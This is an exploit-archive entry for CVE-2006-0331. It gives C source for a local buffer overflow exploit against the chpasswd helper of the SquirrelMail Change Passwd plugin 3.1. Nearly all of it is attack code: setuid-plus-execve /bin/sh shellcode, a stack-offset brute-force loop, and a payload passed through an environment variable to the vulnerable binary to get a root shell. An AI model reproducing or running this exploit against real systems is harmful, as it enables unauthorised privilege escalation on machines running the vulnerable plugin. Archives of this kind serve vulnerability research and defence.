SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow

Author: rod hedor
type: local
platform: linux
port: 
date_added: 2006-01-24 
date_updated: 2016-06-21 
verified: 1 
codes: OSVDB-27905;CVE-2006-0331 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comchange_passwd-3.1-1.2.8.tar.gz

/*
Change passwd  3.1 (SquirrelMail plugin )

Coded by rod hedor

web-- http://lezr.com

[local exploit]

 * Multiple buffer overflows are present in the handling of command line arguements in chpasswd.
  The bug allows a hacker to exploit the process to run arbitrary code.
*/

#include <stdio.h>
#include <stdlib.h>

const char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x90\x90\x90\x90\x90\x90\x90\x90"
                      "\x31\xc0\xb0\x17\x31\xdb\xcd\x80"
                      "\x89\xe5\x31\xc0\x50\x55\x89\xe5"
                      "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
                      "\x2f\x62\x69\x89\xe3\x89\xe9\x89"
                      "\xea\xb0\x0b\xcd\x80";

long get_sp(){
       __asm__("movl %esp,%eax;");
};

int main(){
       char buffer[1024];
       long stack = get_sp();
       int result = 1;
       long offset = 0;
       printf ("[!] Change_passwd v3.1(SquirrelMail plugin) exploit\n");
       printf ("[+] Current stack [0x%x]\n",stack);
       while(offset <= 268435456){
       offset = offset + 1;
       stack = get_sp() + offset;
       memcpy(&buffer,"EGG=",4);
       int a = 4;
       while(a <= 108){
               memcpy(&buffer[a],"x",1);
               a = a + 1;}
       memcpy(&buffer[108],&stack,4);
       memcpy(&buffer[112],&shellcode,sizeof(shellcode));
       putenv(buffer);
       result = system("./chpasswd $EGG");
       if(result == 0){exit(0);};
       };
};

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